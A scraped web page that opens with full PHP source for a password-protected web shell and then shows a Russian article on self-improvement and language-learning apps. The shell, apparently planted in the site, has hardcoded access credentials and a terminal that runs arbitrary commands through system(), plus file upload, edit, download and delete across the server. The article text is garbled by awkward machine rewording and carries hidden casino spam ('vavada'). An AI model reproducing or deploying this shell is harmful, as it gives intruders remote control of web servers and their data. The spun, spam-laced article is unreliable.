if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[πŸ“‚ Home] '; echo '[πŸ–₯️ Terminal] '; echo '[πŸ’Ύ Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[πŸšͺ Logout]'; echo '
'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '
'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

βœ… Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

πŸ“‹ Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo 'πŸ“ '.$item."/\n";
                    else echo 'πŸ“„ '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'πŸ“ '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'πŸ“„ '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

πŸ’Ύ Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." βœ“\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." βœ“\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

πŸ“ Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo 'βœ… Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

πŸ–₯️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo 'βœ… Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo 'βœ… Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo 'βœ… Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo 'βœ… Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

πŸ“‚ '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
πŸ“ '.$item.'πŸ“„ '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Π’ΠΎΠΏΠΎΠ²Ρ‹Π΅ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ для ΡΠ°ΠΌΠΎΡΠΎΠ²Π΅Ρ€ΡˆΠ΅Π½ΡΡ‚Π²ΠΎΠ²Π°Π½ΠΈΡ ΠΈ обучСния. – collectives.berlin

Your digital paradise.

collectives.berlin

Π’ΠΎΠΏΠΎΠ²Ρ‹Π΅ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ для ΡΠ°ΠΌΠΎΡΠΎΠ²Π΅Ρ€ΡˆΠ΅Π½ΡΡ‚Π²ΠΎΠ²Π°Π½ΠΈΡ ΠΈ обучСния.

Π’ΠΎΠΏΠΎΠ²Ρ‹Π΅ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ для ΡΠ°ΠΌΠΎΡΠΎΠ²Π΅Ρ€ΡˆΠ΅Π½ΡΡ‚Π²ΠΎΠ²Π°Π½ΠΈΡ ΠΈ обучСния.

Π—Π°Ρ‡Π΅ΠΌ Π°ΠΏΠΏΡ‹ ΡΠ²Π»ΡΡŽΡ‚ΡΡ Π½Π΅ΠΎΡ‚ΡŠΠ΅ΠΌΠ»Π΅ΠΌΠΎΠΉ Ρ‡Π°ΡΡ‚ΡŒΡŽ личностного роста

Π’ ΠΏΡ€ΠΎΡˆΠ»Ρ‹Π΅ Π²Ρ€Π΅ΠΌΠ΅Π½Π° ΠΏΠΎΡ€Ρ‚Π°Ρ‚ΠΈΠ²Π½Ρ‹Π΅ Ρ‚Π΅Ρ…Π½ΠΈΠΊΠΈ молниСносно ΠΏΠ΅Ρ€Π΅Π²Π΅Ρ€Π½ΡƒΠ»ΠΈ способ ΠΊ ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΡŽ ΠΈ ΡΠ°ΠΌΠΎΡ€Π°Π·Π²ΠΈΡ‚ΠΈΡŽ. Π•Ρ‰Π΅ 10 Π»Π΅Ρ‚ Ρ‚ΠΎΠΌΡƒ Π½Π°Π·Π°Π΄ саморазвитиС ΡΠ²ΡΠ·Ρ‹Π²Π°Π»ΠΎΡΡŒ с Π±ΡƒΠΌΠ°ΠΆΠ½Ρ‹ΠΌΠΈ ΠΊΠ½ΠΈΠ³Π°ΠΌΠΈ, занятиями Π² унивСрситСтах ΠΈ ΠΎΡ‡Π½Ρ‹ΠΌΠΈ курсами. Π’ настоящСС врСмя Ρ…Π²Π°Ρ‚Π°Π΅Ρ‚ Ρ‚Π΅Π»Π΅Ρ„ΠΎΠ½Π°, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ дСнь ΡƒΠ·Π½Π°Π²Π°Ρ‚ΡŒ Π½ΠΎΠ²ΠΎΠ΅, ΡƒΠ»ΡƒΡ‡ΡˆΠ°Ρ‚ΡŒ умствСнныС способности ΠΈΠ»ΠΈ ΠΎΡΠ²Π°ΠΈΠ²Π°Ρ‚ΡŒ иностранныС языки. ΠŸΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡ ΠΏΡ€Π΅Π²Ρ€Π°Ρ‚ΠΈΠ»ΠΈ ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠ΅ Π°Π΄Π°ΠΏΡ‚ΠΈΠ²Π½Ρ‹ΠΌ, настроСнным ΠΏΠΎΠ΄ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ ΠΈ доступным Π±ΡƒΠΊΠ²Π°Π»ΡŒΠ½ΠΎ ΠΈΠ· всякой Ρ‚ΠΎΡ‡ΠΊΠΈ ΠΌΠΈΡ€Π° — Π±ΡƒΠ΄ΡŒ Ρ‚ΠΎ ΠΏΠΎΠ΅Π·Π΄ΠΊΠ° Π² ΠΌΠ΅Ρ‚Ρ€ΠΎ ΠΈΠ»ΠΈ малСнький Π±Ρ€Π΅ΠΉΠΊ Π½Π° Ρ€Π°Π±ΠΎΡ‚Π΅.

По Π΄Π°Π½Π½Ρ‹ΠΌ исслСдованию Data Insight, Π² настоящСС врСмя Π±ΠΎΠ»Π΅Π΅ 60% Π³Ρ€Π°ΠΆΠ΄Π°Π½ России хотя Π±Ρ‹ Ρ€Π°Π· устанавливали ΡƒΡ‡Π΅Π±Π½Ρ‹Π΅ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹. И это Π½Π΅ ΡƒΠ΄ΠΈΠ²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ: ΠΎΠ½ΠΈ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ шанс ΡΠΎΠ²ΠΌΠ΅Ρ‰Π°Ρ‚ΡŒ ΡƒΡ‡Π΅Π±Ρƒ с Π²Π°Π²Π°Π΄Π° Π΄Π΅ΡΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒΡŽ, Ρ€ΠΎΠ΄Π½Ρ‹ΠΌΠΈ ΠΈ увлСчСниями. Π‘Π°ΠΌΠΎΠ΅ Π²Π°ΠΆΠ½ΠΎΠ΅ — ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ приспособлСния срСди ΡˆΠΈΡ€ΠΎΠΊΠΎΠ³ΠΎ количСства ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½ΠΈΠΉ.

Π’ΠΈΠ΄Ρ‹ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌ для ΡΠ°ΠΌΠΎΡΠΎΠ²Π΅Ρ€ΡˆΠ΅Π½ΡΡ‚Π²ΠΎΠ²Π°Π½ΠΈΡ

ΠŸΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ Ρ‡Π΅ΠΌ ΠΏΠ΅Ρ€Π΅ΠΉΡ‚ΠΈ ΠΊ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌ сСрвисам, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΎΡΠΎΠ·Π½Π°Π²Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ всС ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ для ΡΠ°ΠΌΠΎΡΠΎΠ²Π΅Ρ€ΡˆΠ΅Π½ΡΡ‚Π²ΠΎΠ²Π°Π½ΠΈΡ ΠΌΠΎΠΆΠ½ΠΎ ΠΎΡ€ΠΈΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²ΠΎΡ‡Π½ΠΎ ΡΠ³Ρ€ΡƒΠΏΠΏΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π½Π° нСсколько Π³Ρ€ΡƒΠΏΠΏ:

  • ΠŸΠΎΡΡ‚ΠΈΠΆΠ΅Π½ΠΈΠ΅ языков — ΠΎΡ‚ классичСских глоссариСв Π΄ΠΎ ΠΈΠ½Ρ‚Π΅Ρ€Π°ΠΊΡ‚ΠΈΠ²Π½Ρ‹Ρ… симуляторов.
  • Π‘ΠΎΠ²Π΅Ρ€ΡˆΠ΅Π½ΡΡ‚Π²ΠΎΠ²Π°Π½ΠΈΠ΅ ΠΊΠΎΠ³Π½ΠΈΡ‚ΠΈΠ²Π½Ρ‹Ρ… способностСй — Ρ‚Ρ€Π΅Π½ΠΈΡ€ΠΎΠ²ΠΊΠΈ памяти, внимания, ΠΌΡ‹ΡˆΠ»Π΅Π½ΠΈΡ.
  • Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ ΠΈ Π»Π΅ΠΊΡ†ΠΈΠΈ — ΠΏΠΎΠ»Π½ΠΎΡ†Π΅Π½Π½ΠΎΠ΅ ΠΈΠ·ΡƒΡ‡Π΅Π½ΠΈΠ΅ Π°ΠΊΡ‚ΡƒΠ°Π»ΡŒΠ½Ρ‹ΠΌ профСссиям ΠΈΠ»ΠΈ Π½Π°Π²Ρ‹ΠΊΠ°ΠΌ.
  • ΠžΠ±Ρ‹Ρ‡Π°ΠΈ ΠΈ ΠΏΡ€ΠΎΠ΄ΡƒΠΊΡ‚ΠΈΠ²Π½ΠΎΡΡ‚ΡŒ — Ρ€Π°Π·Π²ΠΈΡ‚ΠΈΠ΅ благоприятных ΠΏΡ€ΠΈΠ²Ρ‹Ρ‡Π΅ΠΊ ΠΈ распрСдСлСниС Π²Ρ€Π΅ΠΌΠ΅Π½Π΅ΠΌ.
  • Π§Ρ‚Π΅Π½ΠΈΠ΅ Π° Ρ‚Π°ΠΊΠΆΠ΅ ΡΠ»ΡƒΡˆΠ°Π½ΠΈΠ΅ ΠΊΠ½ΠΈΠ³ — ΠΎΠ½Π»Π°ΠΉΠ½ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ плюс Π°ΡƒΠ΄ΠΈΠΎΠΊΠ½ΠΈΠ³ΠΈ.
  • ΠœΠ΅Π΄ΠΈΡ‚Π°Ρ†ΠΈΡ ΠΈ ΠΎΡΠΎΠ·Π½Π°Π½Π½ΠΎΡΡ‚ΡŒ — Ρ€Π°Π·Π²ΠΈΡ‚ΠΈΠ΅ чувствСнного ΠΈΠ½Ρ‚Π΅Π»Π»Π΅ΠΊΡ‚Π°.

Π”Π°Π²Π°ΠΉΡ‚Π΅ ΠΈΠ·ΡƒΡ‡ΠΈΠΌ Π»ΡƒΡ‡ΡˆΠΈΠ΅ прилоТСния Π² любой ΠΈΠ· этих Ρ€Π°Π·Π΄Π΅Π»ΠΎΠ² Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ.

Π‘ΠΎΡ„Ρ‚ для освоСния языковых Π½Π°Π²Ρ‹ΠΊΠΎΠ²

Duolingo: игровизация обучСния

Duolingo — ΠΎΠ΄ΠΈΠ½ ΠΈΠ· самых распространённых сСрвисов для обучСния Π·Π°Ρ€ΡƒΠ±Π΅ΠΆΠ½Ρ‹Ρ… языков ΠΏΠΎ всСму ΠΌΠΈΡ€Ρƒ. ΠŸΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ поставляСт ΡƒΡ€ΠΎΠΊΠΈ ΠΏΠΎ Π±ΠΎΠ»Π΅Π΅ Ρ‡Π΅ΠΌ 30 языков, Π² Ρ‚ΠΎΠΌ числС английский, испанский язык, французский язык ΠΈ Π΄Π°ΠΆΠ΅ японский язык. ΠšΠ»ΡŽΡ‡Π΅Π²Π°Ρ Ρ„ΠΈΡˆΠΊΠ° Duolingo — ΠΈΠ³Ρ€ΠΎΠ²ΠΎΠΉ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄: ΠΊΠ°ΠΆΠ΄ΠΎΠ΅ ΡƒΡ€ΠΎΠΊ схоТС с нСбольшой квСст с Π±Π°Π»Π»Π°ΠΌΠΈ ΠΎΠΏΡ‹Ρ‚Π°, Π»Π΅Π²Π΅Π»Π°ΠΌΠΈ ΠΈ Π½Π°Π³Ρ€Π°Π΄Π°ΠΌΠΈ.

Π§Π΅Π»ΠΎΠ²Π΅ΠΊ Π½Π°Ρ‡ΠΈΠ½Π°Π΅Ρ‚ с нСслоТных Π·Π°Π΄Π°Π½ΠΈΠΉ Π½Π° Ρ‚Ρ€Π°Π½ΡΠ»ΡΡ†ΠΈΡŽ слов ΠΈ Ρ„Ρ€Π°Π·, Π° Π·Π°Ρ‚Π΅ΠΌ постСпСнно ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΠΈΡ‚ ΠΊ слоТным заданиям Π½Π° Π°ΡƒΠ΄ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅, синтаксис ΠΈ ΠΏΡ€ΠΎΠΈΠ·Π½ΠΎΡˆΠ΅Π½ΠΈΠ΅. ΠŸΠΎΠ΄ΠΎΠ±Π½Ρ‹ΠΉ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ стимулируСт Π·Π°Π½ΠΈΠΌΠ°Ρ‚ΡŒΡΡ постоянно: Ρ‚Π΅Ρ€ΡΡ‚ΡŒ Ρ†Π΅ΠΏΠΎΡ‡ΠΊΡƒ (streak) становится досадно!

Π’ особСнности ΡƒΠ΄ΠΎΠ±Π½ΠΎ Ρ‚ΠΎΡ‚ Ρ„Π°ΠΊΡ‚, Ρ‡Ρ‚ΠΎ ΡƒΡ€ΠΎΠΊΠΈ Ρ‚Ρ€Π΅Π±ΡƒΡŽΡ‚ всСго 5–10 ΠΌΠΈΠ½ΡƒΡ‚. МоТно ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠΎΠ²Π°Ρ‚ΡŒΡΡ ΠΏΠΎΡƒΡ‚Ρ€Ρƒ Π·Π° ΠΊΡ€ΡƒΠΆΠΊΠΎΠΉ ΠΊΠΎΡ„Π΅ Π»ΠΈΠ±ΠΎ Π²Π΅Ρ‡Π΅Ρ€ΠΎΠΌ Π΄ΠΎ ΠΎΡ‚Π΄Ρ‹Ρ…ΠΎΠΌ. Для ΠΏΡ€ΠΎΠ΄Π²ΠΈΠ½ΡƒΡ‚Ρ‹Ρ… ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ ΠΏΡ€Π΅Π΄Π»Π°Π³Π°ΡŽΡ‚ΡΡ ΠΏΡ€ΠΎΡ„ΠΈΠ»ΡŒΠ½Ρ‹Π΅ курсы (Π² частности, английский для бизнСса).

Lingualeo: ΠΈΠ½Π΄ΠΈΠ²ΠΈΠ΄ΡƒΠ°Π»ΡŒΠ½Ρ‹ΠΉ способ

Π›ΠΈΠ½Π³Π²Π°Π»Π΅ΠΎ Π½Π°Ρ†Π΅Π»Π΅Π½ ΠΏΡ€Π΅ΠΆΠ΄Π΅ всСго Π½Π° ΠΈΠ·ΡƒΡ‡Π°ΡŽΡ‰ΠΈΡ… язык английского языка. Π’ Ρ„ΡƒΠ½Π΄Π°ΠΌΠ΅Π½Ρ‚Π΅ ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΡ‹ Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ ΠΏΡ€ΠΈΠ½Ρ†ΠΈΠΏ пСрсонализации: софт исслСдуСт ваши достиТСния ΠΈ ΠΏΠΎΠ΄Π±ΠΈΡ€Π°Π΅Ρ‚ упраТнСния ΠΏΠΎΠ΄ ваш ΡƒΡ€ΠΎΠ²Π΅Π½ΡŒ Π·Π½Π°Π½ΠΈΠΉ.

ΠžΡΠΎΠ±Π΅Π½Π½ΠΎΡΡ‚ΠΈ Lingualeo:

  • Π˜Π½Ρ‚Π΅Ρ€Π°ΠΊΡ‚ΠΈΠ²Π½Ρ‹Π΅ задания Π½Π° Ρ‡Ρ‚Π΅Π½ΠΈΠ΅, ΡΠ»ΡƒΡˆΠ°Π½ΠΈΠ΅ ΠΈ лСксику.
  • ΠžΠ³Ρ€ΠΎΠΌΠ½Π°Ρ коллСкция тСкстов Ρ€Π°Π·Π½ΠΎΠΉ трудности: Π²ΠΊΠ»ΡŽΡ‡Π°Ρ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΎΠ½Π½Ρ‹Ρ… ΠΌΠ°Ρ‚Π΅Ρ€ΠΈΠ°Π»ΠΎΠ² Π²ΠΏΠ»ΠΎΡ‚ΡŒ Π΄ΠΎ классичСских ΠΏΡ€ΠΎΠΈΠ·Π²Π΅Π΄Π΅Π½ΠΈΠΉ.
  • Π‘ΠΏΠΎΡΠΎΠ±Π½ΠΎΡΡ‚ΡŒ Π²Π½ΠΎΡΠΈΡ‚ΡŒ нСизвСстныС лСксСмы Π² свой ΡΠ»ΠΎΠ²Π°Ρ€ΡŒ.
  • Устройства для запоминания свСТих слов с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΠ°Ρ€Ρ‚ΠΎΡ‡Π΅ΠΊ.

ΠžΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ фокуса Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚ игровая систСма: Π·Π° Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ миссий Π²Ρ‹ ΠΏΠΈΡ‚Π°Π΅Ρ‚Π΅ ΠΎΠ½Π»Π°ΠΉΠ½ львСнка Π›Π΅ΠΎ! Π­Ρ‚ΠΎ дСйствиС вносит Π½ΠΎΡ‚ΠΊΡƒ ΡƒΡ…ΠΎΠ΄Π° ΠΈ вовлСчСнности.

Tandem: Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΠ΅ ΠΊΠΎΠ½Ρ‚Π°ΠΊΡ‚

Ни ΠΎΠ΄Π½ΠΈ ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠΈ Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ Ρ€Π°Π²Π½Ρ‹ ΠΏΠΎΠ΄Π»ΠΈΠ½Π½ΠΎΠ³ΠΎ общСния с носитСлями Ρ€Π΅Ρ‡ΠΈ. ИмСнно ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΡƒΡŽ вопрос выполняСт Tandem — ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ° для языкового ΠΎΠ±ΠΌΠ΅Π½Π°. Π’ этом мСстС Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΡ‚Ρ‹ΡΠΊΠ°Ρ‚ΡŒ ΠΏΠ°Ρ€Ρ‚Π½Ρ‘Ρ€ΠΎΠ² для общСния со всСго ΠΌΠΈΡ€Π° ΠΏΠΎ Ρ…ΠΎΠ±Π±ΠΈ: Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ люди ΠΏΠΎΠΌΠΎΠ³ΡƒΡ‚ Π²Π°ΠΌ Π²Ρ‹ΡƒΡ‡ΠΈΡ‚ΡŒ французский Π²Π·Π°ΠΌΠ΅Π½ Π½Π° ΠΏΠΎΠΌΠΎΡ‰ΡŒ с русским.

Π’ Tandem Π΅ΡΡ‚ΡŒ ΠΈΠ½Ρ‚Π΅Π³Ρ€ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ мСссСндТСр с Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ Π·Π²ΡƒΠΊΠΎΠ²Ρ‹Ρ… посланий ΠΈ Π²ΠΈΠ΄Π΅ΠΎΠ²Ρ‹Π·ΠΎΠ²ΠΎΠ². А Ссли Π²ΠΎΠ·Π½ΠΈΠΊΠ½ΡƒΡ‚ затруднСния ΠΏΡ€ΠΈ бСсСдС — Π²ΠΌΠΎΠ½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ транслятор всСгда ΠΏΠΎΠ΄ Ρ€ΡƒΠΊΠΎΠΉ.

Π’Ρ€Π΅Π½ΠΈΡ€ΠΎΠ²ΠΊΠ° ΠΈΠ½Ρ‚Π΅Π»Π»Π΅ΠΊΡ‚Π°: Ρ€Π°Π·Π²ΠΈΡ‚ΠΈΠ΅ воспоминаний ΠΈ внимания

NeuroNation: Ρ‚Ρ€Π΅Π½ΠΈΡ€ΠΎΠ²ΠΊΠ° для ΠΈΠ½Ρ‚Π΅Π»Π»Π΅ΠΊΡ‚Π°

NeuroNation прСдоставляСт Π±ΠΎΠ»Π΅Π΅ 30 ΠΊΠ°Ρ‚Π΅Π³ΠΎΡ€ΠΈΠΉ ΡƒΠΏΡ€Π°ΠΆΠ½Π΅Π½ΠΈΠΉ для развития запоминания, Π²Π½ΠΈΠΌΠ°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ, Ρ€Π°Ρ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ ΠΌΡ‹ΡˆΠ»Π΅Π½ΠΈΡ ΠΈ рСактивности. Π’ Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΠΊ Π΄Π°Π½Π½ΠΎΠΌΡƒ, Ρ‚Π°ΠΊΠΈΠ΅ сСрвисы, ΠΊΠ°ΠΊ vavada Π·Π΅Ρ€ΠΊΠ°Π»ΠΎ, ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΠ²Π°ΡŽΡ‚ ΡŽΠ·Π΅Ρ€Π°ΠΌ Ρ€Π°Π·Π½ΠΎΠΎΠ±Ρ€Π°Π·Π½Ρ‹Π΅ инструмСнты для ΠΏΠΎΠ²Ρ‹ΡˆΠ΅Π½ΠΈΡ ΠΏΠΎΠ·Π½Π°Π²Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… Π½Π°Π²Ρ‹ΠΊΠΎΠ². ВсС Π·Π°Π΄Π°Ρ‡ΠΈ ΠΏΠΎΠ΄Π³ΠΎΡ‚ΠΎΠ²Π»Π΅Π½Ρ‹ совмСстно с нСйропсихологами ΠΈΠ· Π“Π΅Ρ€ΠΌΠ°Π½ΠΈΠΈ.

КаТдоС Ρ‚Ρ€Π΅Π½ΠΈΡ€ΠΎΠ²ΠΊΠ° настраиваСтся ΠΏΠΎΠ΄ ΡƒΡ€ΠΎΠ²Π΅Π½ΡŒ участника: Ссли Π·Π°Π΄Π°Ρ‡Π° каТСтся слишком нСслоТной ΠΈΠ»ΠΈ слоТной — софт автоматичСски ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚ΠΈΡ€ΡƒΠ΅Ρ‚ Π΅Ρ‘ ΡΠ»ΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ. РСгулярныС Ρ‚Ρ€Π΅Π½ΠΈΡ€ΠΎΠ²ΠΊΠΈ (ΠΏΠΎ 10–15 ΠΌΠΈΠ½ΡƒΡ‚ Π² дСнь) фактичСски ΠΏΠΎΠ²Ρ‹ΡˆΠ°ΡŽΡ‚ умствСнныС возмоТности — это ΠΏΠΎΠ΄Ρ‚Π²Π΅Ρ€ΠΆΠ΄Π°ΡŽΡ‚ Π°Π½Π°Π»ΠΈΠ·Ρ‹ БСрлинского унивСрситСта ΠΈΠΌΠ΅Π½ΠΈ Π“ΡƒΠΌΠ±ΠΎΠ»ΡŒΠ΄Ρ‚Π°.

ОсобСнно Ρ†Π΅Π½Π΅Π½ NeuroNation людям, ΠΊΡ‚ΠΎ ΠΆΠ΅Π»Π°Π΅Ρ‚ ΡƒΠ΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒ ΠΈΠ½Ρ‚Π΅Π»Π»Π΅ΠΊΡ‚ Π² Ρ„ΠΎΡ€ΠΌΠ΅ послС тяТСлого Ρ‚Ρ€ΡƒΠ΄ΠΎΠ²ΠΎΠ³ΠΎ дня ΠΈΠ»ΠΈ Π²ΠΎ врСмя ΠΏΠΎΠ΄Π³ΠΎΡ‚ΠΎΠ²ΠΊΠΈ ΠΊ экзамСнам.

Peak: умствСнныС ΠΌΠΈΠ½ΠΈ-ΠΈΠ³Ρ€Ρ‹

